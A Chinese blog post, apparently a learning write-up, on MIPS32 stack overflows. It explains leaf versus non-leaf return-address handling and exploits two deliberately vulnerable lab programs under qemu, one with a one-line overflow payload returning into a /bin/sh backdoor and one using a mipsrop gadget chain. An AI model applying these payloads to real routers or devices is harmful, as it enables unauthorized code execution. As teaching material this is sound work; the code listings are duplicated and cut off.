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MIPS栈溢出初探
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发表于: 2020-10-25 19:18
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上周，花了一周多一点的时间来学了一些Linux kernel pwn入门，主要是学了Wiki上面的四个利用姿势；具体可以看我的前几篇博客。然后的话，接下来会入门路由器的栈溢出。因为是初学，所以也会尽可能地详细地记录。
有关MIPS汇编的一些基础知识，可以参考以下我的这一篇博文
在计算机科学中，栈是一种具有先进后出队列特性的数据结构。调用栈是指存放某个程序正在运行的函数的信息的栈。调用栈由栈帧组成，每个栈帧对应一个未完成的函数。
而MIPS32架构的堆栈与传统PC的架构复杂指令系统不同，大多数采用Linux嵌入式操作系统的路由器采用的是MIPS指令系统，该指令系统属于精简指令系统。MIPS32架构的函数调用与x86架构有很大的差别，具体有以下几个方面:
举个栗子:
编译链接，查看汇编代码:
然后拉进ida查看
可以看到，在我们进入main函数的时候，并没有对RA寄存器进行任何操作，而当我们退出main函数的时候，是直接jr 到我们$ra寄存器存放的地址；这就是叶子函数调用时的栈布局。
下面稍作调整:
同上编译链接：
拉进ida查看:
可以看到，在我们进入main函数的栈之后，我们先把$ra寄存器的值存放到了我们的0x28+var_4($sp)这个栈空间，然后在我们退出main函数的栈时，先是把我们的0x28+var_4($sp)栈地址的值赋值给我们的$ra寄存器，然后再jr到对应地址。
所以，对于非叶子函数来说，如果存在局部变量溢出，就可能导致堆栈上的返回地址被覆盖，从而控制执行流。因此这种情况下缓冲区溢出是可以被利用的。但是对于叶子函数来说，它的返回地址是没有放置在栈上，所以我们无法修改对应的返回地址。但是这不意味者叶子函数的缓冲区溢出就完全无法利用。如果缓冲区溢出覆盖的区域足够大，我们是有可能覆盖到上一层调用该函数的函数的返回地址的。所以，当非叶子函数中存在缓冲区溢出漏洞时，程序上的执行流程也是存在被劫持的可能性的。
因此，在MIPS32的体系中，栈溢出利用仍然是可行的。
编译链接
先挂起:
然后gdb连接调试:
然后再在gdb里面
gdb连接起来后，在我们的strcpy之后下个断点:
然后查看此时栈的情况:
所以，由上图可以算出覆盖到返回地址的地址偏移。
最后利用:
成功get到我们的shell!!!
栈的布局，可以看看这幅图:
栈的生长方向为低地址向高地址，缓冲区溢出时就向 main 函数的区域溢出，控制程序流也就需要溢出到原来的RA寄存器处的栈空间
这里讲一下环境的安装吧，这里的环境又搞了我好久。。。。
首先，我们需要ROP链，就需要找gadget。
而在MIPS架构中，一般是利用ida中的插件mipsrop。
但是这个mipsrop插件有两个版本，一个是只支持ida 6.7以下版本的；一个是支持ida 7.0版本的。
昨晚的时候先是在ubantu安装了wine，然后在ubantu模拟运行了Windows版本的ida 6.8,发现里面的py脚本无效，后来就在ubantu中利用wine模拟运行ida7.0，然后发现缺少很多Windows下的dll文件，然后就在我的Windows复制过去，但是还是不成功，压根无法运行起来。
最后是安装了ubantu版本的ida，然后用了第一个版本的插件，才成功了。主要是参考了这篇文章。
这里主要是以路由器0day里面的那道题为例:
题目的漏洞比较明显，我们的main函数中buf存在溢出条件，而且main函数还是非叶子函数，所以我们可以利用覆盖栈中的返回地址(保存的RA寄存器)。
首先需要查看我们覆盖的buf距离我们栈中返回地址的偏移。我这里是利用了书本给的脚本生成我们的测试文件(其实这个挺随意的，主要生成的字符串保证不重复即可)
生成我们的测试文件passwd，然后我们利用ida远程调试；
先挂起
然后利用我们的ida远程链接，f9让其跑，最后发现:
PC寄存器被我们引到0x6e41376e处，也就是字符串"n7An"（我安装的是小端序），所以我们可以利用ubantu自带的LibreOffice查找偏移:
这里我利用的是上面说到的mipsrop，ida中的一个插件。
发现这个gadget符合我们的要求，因为我们的do_system的第一个参数(对应于a0)对我们并没有关系，我们只需要劫持我们的第二个参数(a1)为我们的"/sh"等get shell参数即可。
所以，我们只需要在我们的sp+0x18的位置构造我们的get shell参数，在我们的sp+0x54的地方构造我们的do_system函数的地址即可。
这里说一个自己踩的坑吧。我们的ROP链是在main函数返回上一层才会被触发的，当运行到我们的ROP链时，这时候main的栈已经被回收了。
https://www.anquanke.com/post/id/169689
https://xz.aliyun.com/t/6808#toc-11
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
}
}int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
}
}sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static -o ~/no_leaf
sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static -o ~/no_leaf
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
printf("sum = %d",sum);
}
}int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
printf("sum = %d",sum);
}
}sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static -o ~/leaf
sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static -o ~/leaf
#include<stdio.h>#include <stdlib.h>#include <string.h>void backdoor(){system("/bin/sh");
}void has_stack(char *src)
{char dst[20]={0};
strcpy(dst,src);printf("copy successfully");
}void main(int argc,char *argv[])
{has_stack(argv[1]);
}#include<stdio.h>#include <stdlib.h>#include <string.h>void backdoor(){system("/bin/sh");
}void has_stack(char *src)
{char dst[20]={0};
strcpy(dst,src);printf("copy successfully");
}void main(int argc,char *argv[])
{has_stack(argv[1]);
}./buildroot/output/host/bin/mipsel-linux-gcc ~/stack.c -static -o ~/stack
./buildroot/output/host/bin/mipsel-linux-gcc ~/stack.c -static -o ~/stack
qemu-mipsel -g 1234 ./stack aaaaaaaaaaaaaaaaaaaa
qemu-mipsel -g 1234 ./stack aaaaaaaaaaaaaaaaaaaa
gdb-multiarch ./stack
gdb-multiarch ./stack
target remote:1234
target remote:1234
qemu-mipsel stack `python -c "print 'a'*28+'\x90\x03\x40\x00'"`
qemu-mipsel stack `python -c "print 'a'*28+'\x90\x03\x40\x00'"`
#include<stdio.h>#include<sys/stat.h>#include<unistd.h>void do_system(int code,char *cmd)
{char buf[255];
system(cmd);}void main(){char buf[256]={0};
char ch;int count=0;
unsigned int filelen=0;
struct stat fileData;FILE *fp;
if(0==stat("passwd",&fileData))
{filelen=fileData.st_size;
}else{return 1;
}if((fp=fopen("passwd","rb"))==NULL)
{printf("cannot open file passwd!\n");
}ch=fgetc(fp);
while(count<=filelen)
{buf[count++]=ch;
ch=fgetc(fp);
}buf[--count]='\x00';
if(!strcmp(buf,"adminpwd"))
{do_system(count,"ls -l");
}else{
printf("you have an invalid password!\n");
}fclose(fp);}#include<stdio.h>#include<sys/stat.h>#include<unistd.h>void do_system(int code,char *cmd)
{char buf[255];
system(cmd);}void main(){char buf[256]={0};
char ch;int count=0;
unsigned int filelen=0;
struct stat fileData;FILE *fp;
if(0==stat("passwd",&fileData))
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
